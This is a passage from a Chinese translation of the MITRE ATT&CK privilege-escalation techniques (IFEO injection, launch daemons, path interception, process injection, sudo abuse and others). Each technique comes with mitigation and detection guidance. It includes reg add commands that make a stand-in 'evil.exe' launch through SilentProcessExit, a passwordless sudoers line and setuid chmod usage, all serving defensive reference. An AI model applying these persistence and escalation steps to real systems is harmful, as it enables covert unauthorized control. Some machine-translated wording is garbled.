与进程注入类似，攻击者可以使用 Hook 在另一个进程的上下文中加载和执行恶意代码，屏蔽执行，同时还允许访问进程的内存，以及可能提升权限。通过正常调用函数，Hook 还可以利用连续的调用提供持久性。

恶意 Hook 还可能捕获 API 调用，这些调用包含用户验证凭据访问的参数。

Rootkits 通常使用 Hook 隐藏文件、进程、注册表项和其他对象，从而隐藏恶意软件及其相关行为。

### 缓解

这种类型的攻击技术是基于对系统功能的滥用，因此无法通过预防性控制轻松缓解。

### 检测

监视对钩子函数 SetWindowsHookEx 和 SetWinEventHook 的调用。还可以考虑使用工具或通过编程检查内核结构来分析钩子链（为每种钩子类型保存钩子过程的指针）。

Rootkits 检测器可用于监测各种类型的 Hook 活动，通过比较内存中的代码与对应的静态二进制代码，尤其是检查跳转和重定向码流，验证活动进程的完整性；还可以考虑制作新进程[1]的快照，由此比对内存中的 IAT 和引用函数的实际地址。

同时，分析进程行为，确定进程是否正在执行异于常规的操作，例如打开网络连接、读取文件以及与泄漏后行为相关的可疑操作。

## 4.13 图像文件执行选项注入

编号: T1183

技术： 权限升级，持久化，防御逃逸

平台： Windows

所需权限： 管理员，系统

数据源： 进程监控，Windows 注册表，Windows 事件日志

绕过的防御: Autoruns Analysis

贡献者: Oddvar Moe, @oddvarmoe

版本： 1.0

图像文件执行选项能够让开发者把调试器附加到一个程序上。 当进程创建时，存在于图像文件执行选项上的调试器会被预置到程序名称前，并启动一个新的进程(比如, "C:\dbg\ntsd.exe -g notepad.exe")。

图像文件执行选项可以在注册表直接设置或者通过 GFlags 工具设为全局标记。图像文件执行选项作为调试参数值存在于以下注册表位置 `HKLM\SOFTWARE{{\Wow6432Node}}\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\`，其值对应一个可执行程序，并且被调试器附加上。

当特定的程序静默退出时，图像文件执行选项也能够启动任意监控程序(比如，当被自身或者另一个非内核级进程永久终止时)。类似于调试器，静默退出监控可以通过 GFlags 工具开启或者直接修改图像文件执行选项在注册表项中的配置 `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SilentProcessExit\`。

比如：当 notepad.exe 退出时，evil.exe 进程会启动：

- `reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512`
- `reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1`
- `reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"`

类似于进程注入，这些值可能会被滥用以获得持久性和权限提升，因为它们会导致在计算机上不同进程的上下文中加载和运行恶意可执行文件。安装图像文件执行选项的方法还可能通过连续调用提供持久性存储。

恶意软件还可以通过注册无效的调试器来利用图像文件执行选项进行防御规避，这些调试器会转向并有效地禁用各种系统和安全应用程序。

## 缓解

由于这种攻击技术是基于系统功能的滥用，因此无法通过预防性控制来轻易缓解。

## 检测

监控在异常父进程下创建的正常进程，或者具有调试性的进程创建标识，比如 `DEBUG_PROCESS` 和 `DEBUG_ONLY_THIS_PROCESS`。

监控与安装图像文件执行选项有关联的注册表值，以及监控进程静默退出，还有与已知软件、补丁程序等不相关的修改。监视和分析与注册表编辑有关的应用程序编程接口（API）调用，比如 regcreatekeyex 和 regsetvalueex。

# 4.14 启动守护进程

| |
|---|
| 编号： T1160 |
| 技术： 持久化，权限升级 |
| 平台： macOS |
| 所需权限： 管理员 |
| 有效权限: root 用户 |
| 数据源： 进程监控，文件监控 |
| 版本： 1.0 |

根据 Apple 的开发人员文档，当 macOS 和 OS X 启动时，启动将运行以完成系统初始化。此过程从`/System/Library/LaunchDaemons`和`/Library/LaunchDaemons`中找到的属性列表 （plist） 文件中加载每个按需启动系统级守护程序的参数。这些 LaunchDaemon 具有指向将启动的可执行文件的属性列表文件。

对手可以安装一个新的启动守护进程，该守护进程可以通过使用启动或启动 ctl 时执行，从而将 plist 加载到适当的目录中。守护进程名称可以通过相关操作系统或良性软件中的名称进行伪装。启动守护程序可能使用管理员权限创建，但在根权限下执行，因此攻击者也可以使用服务将权限从管理员升级到 root 用户。

plist 文件权限必须为“root：wheel”，但它指向的脚本或程序没有此类要求。因此，配置不佳可能会允许攻击者修改当前启动守护程序的可执行文件，并获得持久性或权限升级。

缓解

| 缓解措施 | 说明 |
|---|---|
| 用户账号管理 | 限制用户帐户的权限并修复权限升级矢量，因此只有经过授权的管理员才能创建新的启动守护程序。 |

检测

通过其他 plist 文件和实用程序（如 Objective-see 的敲击应用程序）监控启动守护程序的创建。

# 4.15 新建服务

| |
|---|
| 编号：T1050 |
| 技术：持久化，权限升级 |
| 平台：Windows |

| |
|---|
| 所需权限：管理员，系统<br>有效权限：系统<br>数据源：Windows 注册表，进程监控，进程命令行参数，Windows 事件日志<br>CAPEC 编号：CAPEC-550<br>贡献者：Pedro Harrison<br>版本：1.0 |

操作系统启动时，可以启动称为服务的程序或应用来执行后台系统功能。服务配置信息，包括服务可执行文件路径，存储在 Windows 注册表中。

攻击者可能会安装一个新的服务，并配置服务在启动时执行（通过使用实用程序与服务交互或直接修改注册表）。服务名称可以伪装为相关操作系统或良性软件中的名称。服务可能会是以管理员权限创建，但在系统权限下执行。因此，攻击者也可能使用服务将权限级别从管理员提升到系统。攻击者也可能通过服务执行技术来直接启动服务。

缓解

| 缓解措施 | 说明 |
|---|---|
| 用户账号管理 | 限制用户账号权限并调整权限提升途径，以便只有授权管理员才能创建新服务。 |

检测

通过查看注册表是否有改动或者常见实用程序是否有命令行调用来监控服务创建。创建新服务可能会有可变事件生成，比如，事件 4697 和事件 7045。安装新软件过程中可能会创建新的良性服务。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如为命令与控制而建立网络连接，通过发现了解环境的详细信息，以及横向移动。

也可使用 Sysinternals Autoruns 等工具来检测是否有旨在获得持久性的系统更改。查看是否有与已知软件、补丁周期等不相关的服务更改。通过服务执行的可疑程序可能会显示为异常进程。与历史数据进行比较时，这些进程以前从未出现过。

监控服务创建的相关进程和命令行参数。带内置功能的远程访问工具可以直接与 Windows API 交互，在典型系统实用程序之外执行这些功能。还可以通过 Windows 系统管理工具（如 Windows Management Instrumentation 和 Powershell）来创建服务。如果通过此方式创建服务，可能还需要配置日志功能来收集适当的数据。

# 4.16 路径拦截

| |
|---|
| 编号： T1034 |

| |
|---|
| 技术： 持久化，权限升级 |
| 平台： Windows |
| 所需权限： 用户，管理员，系统 |
| 有效权限：用户，管理员，系统 |
| 数据源： 文件监控，进程监控 |
| CAPEC 编号： CAPEC-159 |
| 贡献者: Stefan Kanthak |
| 版本： 1.0 |

当可执行文件放置在特定路径中，以便于在应用程序不是预期目标执行时，就会发生路径拦截。这方面的一个例子是在当前工作目录中使用 **cmd** 的副本，该应用程序使用 CreateProcess 函数加载 CMD 或 BAT 文件。

在执行路径拦截时，对手可能会利用多个明显的弱点或配置错误：未引用的路径、路径环境变量错误配置和搜索顺序劫持。第一个漏洞处理完整的程序路径，而第二个和第三个在未指定程序路径时发生。如果定期调用可执行文件，这些技术可用于持久性；如果截获的可执行文件由较高特权进程启动，则可用于持久化。

## 未引用的路径

如果服务路径具有一个或多个空格，并且没有引号（例如，`C:\unsafe path with space\program.exe` vs. `"C:\safe path with space\program.exe"`），则（存储在 Windows 注册表项中的）服务路径和快捷方式路径容易受到路径拦截。攻击者可以将可执行文件放在路径的更高级别的目录中，Windows 将解析该可执行文件而不是预期的可执行文件。例如，如果快捷方式中的路径为 `C:\program files\myapp.exe`，则攻击者可以在 `C:\program.exe` 中创建程序，该程序将而非预期程序运行。

## PATH 环境变量配置错误

PATH 环境变量包含目录列表。在未给出程序路径时，执行程序的某些方法（即使用 cmd.exe 或命令行）仅依赖于 PATH 环境变量来确定搜索程序的位置。如果在 Windows 目录前的 PATH 环境变量中列出了任何目录，则`%SystemRoot%\system32`（例如，`C:\Windows_system32`）可以放置于 Windows 程序（如 cmd、PowerShell 或 Python），则该命令从脚本或命令行执行时执行。

例如，从命令行执行"net"时，如果 `C:\example path` 在 PATH 环境变量中位于 `C:\Windows_system32`，则将调用名为 net.exe ，并放置在 `C:\example path` 中的程序，而不是 Windows 系统"net"。

## 搜索顺序劫持

当攻击者滥用 Windows 搜索未获得路径的程序的顺序时，就会发生搜索顺序劫持。搜索顺序根据用于执行程序的方法而异。但是，Windows 在搜索 Windows 系统目录之前，通常要在启动程序的目录中搜索。发现程序易受搜索订单劫持（即未指定可执行程序路径的程序）的对手可以通过以未正确指定的程序命名创建的程序，并将其置于其中来利用此漏洞启动程序的目录。

例如，"example.exe"使用命令行参数 `net user` 运行"cmd.exe"。攻击者可能会将名为"net.exe"的程序放在与 example.exe 相同的目录中，而不是运行 Windows 系统实用程序网。此外，根据 PAGEETT 下定义的可执行扩展的顺序，如果攻击者将名为"net.com"的程序放在与"net.exe"相同的目录中，则 `cmd.exe /C net user` 将执行"net.com"而不是"net.exe"。

搜索顺序劫持也是劫持 DLL 负载的常见做法，在 DLL 搜索顺序劫持中介绍。

## 缓解

| **缓解措施** | **说明** |
| --- | --- |
| 审计 | 通过围绕带有引号的 PATH 变量查找并消除程序配置文件、脚本、PATH 环境变量、服务和快捷方式中的路径拦截弱点，当函数允许它们时，这些弱点将带有引号。请注意 Windows 用于执行或加载二进制文件的搜索顺序，并酌情使用完全限定的路径。卸载软件时清理旧的 Windows 注册表项密钥，以避免没有关联的合法二进制文件。定期搜索并更正或报告可能由于使用不安全路径配置报告软件的自定义或可用工具引入的系统上的路径拦截弱点。 |
| 执行预防 | 攻击者可能需要在要通过此弱点执行的位置放置新的二进制文件。如果适用，使用应用程序白名单工具（如 Windows 防御者应用程序控制、AppLocker 或软件限制策略以识别和阻止可能执行路径拦截的恶意软件。 |
| 限制文件和目录权限 | 要求将所有可执行文件放在受写入保护的目录中。 |
| 用户帐户管理 | 确保设置了适当的权限和目录访问控制，以阻止用户将文件写入顶级目录 `C:` 和系统目录（如 `C:\Windows\`），以减少恶意文件可能的位置被放置以执行。 |

## 检测

监控以部分目录命名的文件以及可能通过环境变量搜索常见进程的位置创建的文件，或者不应是用户可写的文件。监控针对部分目录命名的可执行路径的执行过程。监控以 Windows 系统程序命名的程序的文件创建，这些程序通常在没有路径的情况下执行（如"findstr"、"net"和"python"）。如果此活动发生在已知的管理活动、升级、安装或修补程序之外，则可能是可疑的。

不应孤立地查看数据和事件，而应将其视为可能导致其他活动的行为链的一部分，例如为命令与控制而建立的连接、通过发现了解环境的详细信息以及横向移动。

# 4.17 Plist 修改

编号： T1150

技术： 防御逃逸，持久化，权限升级

平台： macOS

所需权限： 用户，管理员

数据源：文件监控，进程监控，进程命令行参数

绕过的防御:应用程序白名单，进程白名单，按文件名或路径列出白名单

版本： 1.0

属性列表 （plist） 文件包含 macOS 和 OS X 用于配置应用程序和服务的所有信息。这些文件是通过一系列键<>包围的 UTF-8 编码和格式化像 XML 文档。它们详细说明程序何时应执行、可执行文件路径、程序参数、所需的操作系统权限以及其他许多权限。plists 位于特定位置，具体取决于其用途，例如`/Library/Preferences`（以提升的权限执行）和`~/Library/Preferences`（使用用户的权限执行）。攻击者可以修改这些 plist 文件以指向自己的代码，可以使用它们在另一个用户的上下文中执行其代码，绕过白名单过程，甚至将它们用作持久性机制。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 限制文件和目录权限 | 使 plist 文件成为只读文件，防止用户修改这些文件. |

## 检测

文件系统监视可以确定是否正在修改 plist 文件。在大多数情况下，用户不应有权限修改这些。某些软件工具（如"敲击"）可以检测持久性机制，并指向正在引用的特定文件。这有助于查看实际执行的内容。

监控进程执行，查找由修改的 plist 文件产生的异常进程的执行。监控用于修改 plist 文件或将 plist 文件作为参数的实用程序，这可能指示可疑活动。

# 4.18 端口监控

编号：T1013

技术：持久化，权限升级

平台：Windows

所需权限：管理员，系统

有效权限：系统

数据源：文件监控，API 监控，动态链接库监控，Windows 注册表，进程监控

贡献者：Stefan Kanthak；Travis Smith，Tripwire

版本：1.0

可以通过 API 调用设置端口监视器，设置在动态链接库启动时加载它。此动态链接库可以位于 `C:\Windows\System32`，并在启动时由打印后台处理程序服务 spoolsv.exe 加载。spoolsv.exe 进程也在系统级别权限下运行。或者，如果权限允许将动态链接库的完全限定路径名写入 `HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors`，则可以加载任意动态链接库。

注册表项包含以下内容：

- 本地端口
- 标准 TCP/IP 端口
- USB 监视器
- WSD 端口

攻击者可能会使用此技术在启动时加载恶意代码，这些代码即便在系统重启后仍存在并且以系统权限执行。

## 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

## 检测

- 监控进程 API 调用。
- 监控 spoolsv.exe 加载的异常动态链接库。
- 观察是否有与已知良性软件或补丁无关的新动态链接库写入到 System32 目录的情况。
- 监控注册表写入 `HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors`。
- 运行 Autoruns 实用程序，该实用程序检查用于持久性机制的注册表项。

# 4.19 进程注入

编号：T1055

技术：防御逃逸，权限升级

平台：Linux，macOS，Windows

所需权限：用户，管理员，系统，root

有效权限：用户，管理员，系统，root

数据源：API 监控，Windows 注册表，文件监控，动态链接库监控，进程监控，命名管道

绕过的防御：进程白名单，防病毒

CAPEC 编号：CAPEC-242

贡献者：Anastasios Pingios；Christiaan Beek，@ChristiaanBeek；Ryan Becwar

版本：1.0

进程注入是在单独的活动进程的地址空间中执行任意代码的方法。在另一个进程的上下文中运行代码可能会导致允许访问该进程的内存、系统/网络资源以及可能导致权限提升。通过进程注入执行代码还可以逃避安全产品的检测，因为代码执行是用合法进程隐藏的。

## Windows

将代码注入活动的进程有多种实现方法。Windows 系统中有如下实现方法：

- 动态链接库注入涉及将恶意动态链接库路径写入进程内，然后通过创建远程线程来调用执行。
- 可移植可执行注入涉及将恶意代码直接写入进程（磁盘上没有文件），然后通过这些额外代码或创建远程线程来调用执行。用注入的代码来置换原有的代码引入了其他功能需求：重新映射内存引用。这种方法的变体，如反射式动态链接库注入（将自映射动态链接库写入进程）和内存模块（写入进程时映射动态链接库），解决了地址重定位问题。
- 线程执行劫持涉及将恶意代码或动态链接库路径注入到进程的线程。与进程替换类似，线程必须先挂起。
- APC（异步过程调用）注入涉及将恶意代码附加到进程线程的 APC 队列。排队的 APC 函数在线程进入可变状态时执行。APC 注入的一个变体，“Early Bird 注入”，涉及创建一个挂起的进程，该进程中的恶意代码可以在进程的入口点（以及随后可能会有的防恶意软件 Hook）之前通过 APC 写入和执行。AtomBombing 是另一种变体，它利用 APC 调用先前写入全局 atom 表的恶意代码。
- TLS（线程本地存储）回调注入涉及操控 PE 文件中的指针，从而在到达代码的合法入口点之前将进程重定向到恶意代码。

## Mac and Linux

Linux 和 OS X/MacOS 系统中有如下实现方法：

- 可使用环境变量 **LD_PRELOAD**，**LD_LIBRARY_PATH**（linux）、**DYLD_INSERT_LIBRARIES**（Mac OS X）或 dlfcn API 在进程中动态加载库（共享对象），拦截运行中进程的 API 调用。
- 可通过 Ptrace 系统调用将代码附加到正在运行的进程并在运行时对其修改。
- 可使用/proc/[pid]/mem 来获得进程内存访问权限，读取/写入任意数据。由于其复杂性，这种技术非常罕见。
- 使用 VDSO 劫持技术，通过操控从 linux-vdso.so 共享对象映射进来的代码存根，在 ELF 二进制文件运行时执行注入。

恶意软件通常利用进程注入来访问系统资源，通过这些资源获得持久性和其他环境修改。更复杂的样本可以使用命名管道或其他进程间通信（ipc）机制作为通信信道来执行多个进程注入，从而对模块进行分区并进一步规避检测。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 端点上的行为预防 | 可以配置某些端点安全解决方案，使其基于注入过程中发生行为的常见序列来阻止某些类型的进程注入。 |
| 特权账号管理 | Linux 系统中，利用 Yama 来减少基于 ptrace 的进程注入，方法是将 ptrace 的使用仅限于特权用户。也可以使用其他缓解措施，比如部署安全内核模块来提供高级访问控制和进程限制，如 SELinux、grsecurity 和 AppAmour。 |

检测

监控各种类型代码注入的 Windows API 调用可能会生成大量数据而且可能无法直接用于防御，除非是在特定情况下为已知的错误调用序列收集数据。因为 API 函数的使用往往是善意的，很难与恶意行为区分开来。注入过程中可能会调用 CreateRemoteThread、SuspendThread/SetThreadContext/ResumeThread、QueueUserAPC/NtQueueApcThread 等 API，也会调用 WriteProcessMemory 等 API 来修改其它进程的内存。

由于特殊性，监控 Linux 系统下的调用，如 ptrace 系统调用、环境变量 LD_PRELOAD 的使用，或 dlfcn 动态链接 API 调用，应该不会生成大量数据。这种监控可以很有效地检测某些常见进程注入。

监控命名管道创建和连接事件（事件 17 和 18），获取外部模块感染进程的指示信息。

监控进程和命令行参数来检测代码注入前后可能执行的操作，并将检测到的信息与相关事件信息关联起来。攻击者也可能使用 PowerSploit 等工具通过 PowerShell 来执行代码注入。因此可能还需要监控 PowerShell 来检测这种注入行为。

# 4.20 定时任务

| 编号：T1053 |
| --- |

技术：执行，持久化，权限升级

平台：Windows

所需权限：管理员，系统，用户

有效权限：系统，管理员，用户

数据源：文件监控，进程监控，进程命令行参数，Windows 事件日志

是否支持远程：是

CAPEC 编号：CAPEC-557

贡献者：Leo Loobeek，@leoloobeek；Travis Smith，Tripwire；Alain Homewood，Insomnia Security

版本：1.0

诸如 at 和 schtasks 之类的实用程序可与 Windows Task Scheduler 一起使用来调度程序或脚本在某日期和时间执行。只要身份认证通过可以使用 RPC，并且打开了文件和打印机共享功能，就可以在远程系统上调度任务。在远程系统上调度任务通常需要远程系统管理员群组的成员执行。

攻击者可能会通过任务调度在系统启动时或在计划的基础上执行程序以实现持久性，作为横向移动的一部分进行远程执行，获得系统权限，或者在指定账号的上下文下运行进程。

缓解

| **缓解措施** | **说明** |
| --- | --- |
| 审核 | 像 PowerSploit 框架这样的工具包包含 PowerUp 模块，这些模块可用来探索系统中可用于提升权限的计划任务的权限弱点。 |
| 操作系统配置 | 配置计划任务的设置来强制任务在已通过身份认证账号的上下文中运行，而不是允许它们使用系统权限运行。关联的注册表项位于 `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl`。可通过 GPO 来配置设置，路径：计算机配置 > [策略] > Windows 设置 > 安全设置 > 本地策略 > 安全选项：域控制器：允许服务器操作员调度任务。将“允许服务器操作员调度任务”设置为禁用。 |
| 特权账号管理 | 将“增加调度优先级”配置为仅允许管理员群组拥有调度优先级进程的权限。可通过 GPO 配置设置，路径：计算机配置 > [策略] > Windows 设置 > 安全设置 > 本地策略 > 用户权限分配：增加调度优先级。 |
| 用户账号管理 | 限制用户账号权限并调整权限升级向量，以便只有授权的管理员才能在远程系统上创建计划任务。 |

### 检测

通过命令行调用来监控常用实用程序的计划任务创建。可以在安装新软件期间或通过系统管理功能创建合法的计划任务。监控 Windows 10 中 `svchost.exe` 和旧版 Windows 中 Windows 任务计划程序 `taskeng.exe` 的进程执行情况。如果计划任务不用于持久性，则攻击者很可能在操作完成时删除该任务。监控`%systemroot%\System32\Tasks` 中的 Windows 任务计划程序仓库来查看是否有与已知软件、补丁周期等不相关的计划任务的更改条目。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如为命令与控制而建立网络连接，通过发现了解环境的详细信息，以及横向移动。

通过在事件日志服务中启用“Microsoft-Windows-TaskScheduler / Operational”设置的方式来为计划任务的创建和更改配置事件日志功能。然后会在计划任务活动中记录如下事件：

- 事件 106 - 计划任务已注册
- 事件 140 - 计划任务已更新
- 事件 141 - 计划任务已删除

也可使用 Sysinternals Autoruns 等工具来检测是否有旨在获得持久性的系统更改，包括列出当前的计划任务。查找与已知软件、补丁周期等不相关的任务更改。当与历史数据进行比较时，通过计划任务执行的可疑程序可能会显示为以前从未见过的异常进程。

监控可用于创建任务的进程和命令行参数。带内置功能的远程访问工具可以直接与 Windows API 交互，在典型的系统实用程序之外执行这些功能。Windows 系统管理工具（如 Windows Management Instrumentation 和 PowerShell）也可用来创建任务，因此可能还需要配置日志功能来收集适当的数据。

## 4.21 服务注册权限缺陷

| |
|---|
| 编号： T1058 |
| 技术： 持久化，权限升级 |
| 平台： Windows |
| 系统要求：能够修改注册表中的服务值 |
| 所需权限： 管理员，系统 |
| 有效权限：系统 |
| 数据源：进程命令行参数，服务，Windows 注册表 |
| CAPEC 编号: CAPEC-203 |
| 贡献者: Matthew Demaske, Adaptforward; Travis Smith, Tripwire |
| 版本： 1.0 |

在 `HKLM\SYSTEM\CurrentControlSet\Services` 下，Windows 在注册表中存储本地服务配置信息。存储在服务的注册表项下的信息可以通过服务控制器、sc.exe、PowerShell 或 Reg 等工具进行修改服务的执行参数。通过访问控制列表和权限，控制对注册表项的访问。

如果未正确设置用户和组的权限，并允许访问服务的注册表项密钥，则攻击者可以更改服务 binPath/ImagePath 以指向其控制下的不同可执行文件。当服务启动或重新启动时，将执行攻击者控制的程序，允许攻击者获得持久性和/或权限升级到服务设置为以下服务下：本地/域帐户、SYSTEM、系统、、本地服务或网络服务。

对手还可能更改与服务失败参数（如 `FailureCommand`）关联的注册表项，这些注册表项在服务失败或故意损坏时可能在提升上下文中执行。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 限制注册表权限 | 确保为注册表配置单元设置了适当的权限，以防止用户修改可能导致权限升级的系统组件的密钥。 |

### 检测

服务更改反映在注册表中。对现有服务的修改不应频繁发生。如果服务二进制路径或故障参数更改为非该服务的典型值，并且与软件更新无关，则可能是由于恶意活动。不应孤立地查看数据和事件，而应将其视为可能导致其他活动的行为链的一部分，例如为命令与控制而建立的连接、通过发现了解环境的详细信息以及横向移动。

系统内部自动运行等工具还可用于检测可能尝试持久性的系统更改，包括列出当前服务信息。查找与已知软件、修补程序周期等不相关的服务更改。通过与历史数据进行比较，服务执行可疑的程序可能会显示为以前从未见过的异常进程。

监控用于修改服务的操作的进程和命令行参数。具有内置功能的远程访问工具可以直接与 Windows API 交互，以在典型的系统实用程序之外执行这些功能。服务也可能通过 Windows 系统管理工具（如 Windows 管理工具和 PowerShell）进行更改，因此可能需要配置其他日志记录以收集适当的数据。

## 4.22 Setuid 和 Setgid

编号： T1166

技术： 权限升级，持久化

平台： Linux, macOS

所需权限： 用户

| |
|---|
| 有效权限: 管理员, root 用户<br>数据源：文件监控，进程监控，进程命令行参数<br>版本： 1.0 |

当在 Linux 或 macOS 上为应用程序设置 setuid 或 setgid 位时，这意味着应用程序将分别使用具备用户或组的权限运行。通常，应用程序在当前用户的上下文中运行，而不管哪个用户或组拥有该应用程序。在某些情况下，程序需要在提升的上下文中执行才能正常运行，但运行程序的用户不需要提升的权限。任何用户都可以指定要为自己的应用程序设置 setuid 或 setgid 标志，而不是在 sudoers 文件中创建必须由 root 完成的条目。通过 **ls-l** 命令查看文件的属性时，这些位用"s"而不是"x"表示。 `chmod` 程序可以通过位蒙，chmod `4777 [文件]`或通过速记命名，`chmod u+s [file]`设置这些位。

攻击者可以利用此机会执行 shell 转义，或者利用应用程序中具有 setsuid 或 setgid 位的漏洞，使代码在其他用户的上下文中运行。此外，攻击者可以在自己的恶意软件上使用此机制，以确保他们能够在将来在提升的上下文中执行。

缓解

| **缓解措施** | **说明** |
|---|---|
| 操作系统配置 | 具有已知漏洞或已知 shell 转义的应用程序不应设置 setuid 或 setgid 位，以减少应用程序受到威胁时的潜在损坏。此外，应在整个系统中尽量减少设置 setuid 或 setgid 位的程序数。 |

检测

监控文件系统中设置 setuid 或 setgid 位的文件。监控实用程序（如 chmod）的执行及其命令行参数，以查找正在设置的 setuid 或 setguid 位.

# 4.23 SID-History 注入

| |
|---|
| 编号： T1178<br>技术： 权限升级<br>平台： Windows<br>所需权限： 管理员，系统<br>数据源： API 监控，认证日志，Windows 事件日志<br>贡献者: Vincent Le Toux; Alain Homewood, Insomnia Security<br>版本： 1.0 |

Windows 安全标识符 （SID） 是标识用户或组帐户的唯一值。Windows 安全在安全描述符和访问令牌中使用 SID。帐户可以在 SID 历史记录活动目录属性中保留其他 SID，允许域之间可操作的帐户迁移（例如，SID 历史记录中的所有值都包含在访问令牌中）。

攻击者可能使用此机制进行权限升级。使用域管理员（或等效）权限时，可以将已收集或已知的 SID 值插入到 SID 历史记录中，以便模拟任意用户/组（如企业管理员）。此操作可能导致对本地资源的访问提升和/或通过诸如远程服务，Windows 管理员共享或 Windows 远程管理之类的横向移动技术访问其他不可访问的域。

### 缓解

| 缓解方法 | 说明 |
| --- | --- |
| 活动目录配置 | 合法帐户迁移完成后，清理 SID 历史记录属性。请考虑将 SID 筛选应用于林间信任（如林信任和外部信任），以从访问域资源的请求中排除 SID 历史记录。SID 筛选可确保信任上的任何身份验证请求仅包含来自受信任域的安全主体的 SID（即防止受信任域声明用户在域外的组中具有成员资格）。默认情况下启用林信任的 SID 筛选，但在某些情况下可能已禁用，以允许子域通过传输访问林信任。使用 Server 2003 或更高版本的域控制器，在所有创建的外部信任上自动启用外部信任的 SID 筛选。但是请注意，SID 筛选不会自动应用于旧版信任，或者可能已被故意禁用以允许域间访问资源。SID 筛选可以应用：*使用网络工具（在域控制器上：netdom trust /domain: /EnableSIDHistory:no）*。使用网络工具对外部信任应用 SID 筛选器隔离（在域控制器上：`netdom trust/domain:/quarantine:yes`）* 不建议对单个林中的域信任应用 SID 筛选，因为它是不受支持的配置，并可能导致重大更改。如果林中的域不可信，则它不应是林的成员。在此情况下，必须首先将受信任的和不受信任的域拆分为单独的林，其中 SID 筛选可应用于林间信任。 |

### 检测

使用 PowerShell Get-ADUser Cmdlet 检查用户 SID 历史记录属性中的数据，尤其是具有来自同一域的 SID 历史记录值的用户。

监控域控制器上的帐户管理事件，以便成功和失败地更改 SID 历史记录。

监控对 `DsAddSidHistory` 函数的 Windows API 调用。

# 4.24 启动项

| |
| --- |
| 编号： T1165 |
| 技术： 持久化，权限升级 |

| |
|---|
| 平台： macOS |
| 所需权限： 管理员 |
| 有效权限: root 用户 |
| 数据源：文件监控，进程监控 |
| 版本： 1.0 |

根据 Apple 的文档，启动项目在启动过程的最后阶段执行，并包含 shell 脚本或其他可执行文件，以及系统用于确定所有启动项目的执行顺序的配置信息。从技术上讲，这是一个弃用的版本（被启动守护程序取代），因此相应的文件夹，`/Library/StartupItems` 在默认情况下不能保证存在于系统上，但默认情况下在 macOS Sierra 上确实存在。启动项是一个目录，其可执行和配置属性列表 （plist， `StartupParameters.plist`，驻留在顶级目录中。

攻击者可以在"启动项"目录中创建相应的文件夹/文件，以注册其自己的持久性机制。此外，由于启动项在 macOS 的启动阶段运行，它们将作为根运行。如果攻击者能够修改现有的启动项目，那么他们也将能够权限升级。

缓解

| **缓解方法** | **说明** |
|---|---|
| 限制文件和目录权限 | 由于启动项已弃用，因此阻止所有用户写入`/Library/StartupItems`目录将阻止任何启动项注册。 |
| 用户账户管理 | 应用适当的权限，以便只有特定用户才能编辑启动项目，以便可以利用这些项目进行权限提升。 |

检测

可以监控`/Library/StartupItems`文件夹的更改。同样，应对照白名单检查实际使用此机制执行的程序。监控启动过程中执行的进程，以检查异常或未知的应用程序和行为。

# 4.25 Sudo 命令

| |
|---|
| 编号：T1169 |
| 技术：权限升级 |
| 平台：Linux，macOS |
| 所需权限：用户 |
| 有效权限：root |

| |
|---|
| 数据源：文件监控<br>版本：1.0 |

/etc/sudoers 文件描述了哪些用户可以运行哪些命令以及从哪些终端运行命令。文件还描述了用户可以作为其他用户或组运行哪些命令。这涉及到了最小权限的概念，即用户在大多数时间内都以尽可能低的权限运行，只在需要时通过提示输入密码提升到其他用户或权限。然而，攻击者还是可以在 sudoers 文件中编辑类似 user1 all=（all）nopasswd:all 这样的内容来指定何时不提示用户输入密码。

攻击者可能会利用 sudoers 文件中这些配置来以其他用户身份执行命令，或以更高权限来生成进程。但前提是攻击者必须有足够的权限来编辑此文件。

## 缓解

| **缓解措施** | **说明** |
|---|---|
| 特权账号管理 | 设置密码。即使攻击者可以获得终端访问权限，他们也必须获得 sudoers 文件中用来运行内容的密码。 |
| 文件和目录权限限制 | 严格编辑 sudoers 文件。必须始终要有密码，而且用户不能以具有更高权限的用户身份生成风险进程。 |

## 检测

Linux 系统中，auditd 会在每次发现用户实际 ID 和有效 ID 不一致时发出警报。（Sudo 操作中会出现这种不一致。）

# 4.26 Sudo 缓存

| | |
|---|---|
| 编号： | T1206 |
| 技术： | 权限升级 |
| 平台： | Linux, macOS |
| 所需权限： | 用户 |
| 有效权限: | root 用户 |
| 数据源： | 文件监控，进程命令行参数 |
| 版本： | 1.0 |

`sudo` 命令"允许系统管理员委派权限，使某些用户（或用户组）能够作为根用户或其他用户运行某些（或全部）命令，同时提供命令及其参数的审核跟踪。由于 sudo 是为系统管理员制作的，因此它具有一些有用的配置功能，例如 `timestamp_timeout` 即实例之间的时间（以分钟）表示的 `sudo` 之前，它会重新提示输入密码。这是因为 `sudo` 能够缓存一段时间的凭据。Sudo 在 `/var/db/sudo` 下创建（或触摸）一个文件，其时间戳为上次运行 sudo 的时间戳，以确定此超时。此外，还有一个 `tty_ticket` 变量，用于隔离处理每个新 tty（终端会话）。这意味着，例如，一个 tty 的 sudo 超时不会影响另一个 tty（您必须再次键入密码）。

攻击者可能会滥用这种配置不佳，从而升级权限，而无需用户的密码。`/var/db/sudo` 可以监视时间戳，以查看其是否位于 `timestamp_timeout` 范围。如果是，则恶意软件可以执行 sudo 命令，而无需提供用户的密码。禁用 `tty_ticket` 后，攻击者可以从该用户的任何 tty 执行此操作。

